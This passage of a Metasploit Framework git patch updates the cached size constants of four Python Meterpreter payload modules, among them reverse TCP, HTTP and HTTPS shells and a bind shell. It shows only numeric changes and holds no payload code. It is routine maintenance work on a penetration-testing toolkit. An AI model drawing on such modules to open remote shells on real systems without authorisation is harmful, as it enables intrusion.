other rpc components spec.add_runtime_dependency 'msgpack' # get list of network interfaces, like eth* from OS. From 644c1347cd605d3e8a7a77d3347cc3b2a471333f Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 4 Dec 2015 16:14:37 -0600 Subject: [PATCH 8/8] Update payload sizes --- modules/payloads/singles/python/meterpreter_bind_tcp.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_http.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_https.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_tcp.rb | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index bf7069cef5..395962145f 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 49482 + CachedSize = 50226 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index 5d518cf963..44369a42a9 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 49446 + CachedSize = 50190 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index 58e0cd3185..efdecac0bc 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 49446 + CachedSize = 50190 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index f4aabdd443..7988da15eb 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 49398 + CachedSize = 50146 include Msf::Payload::Single include Msf::Payload::Python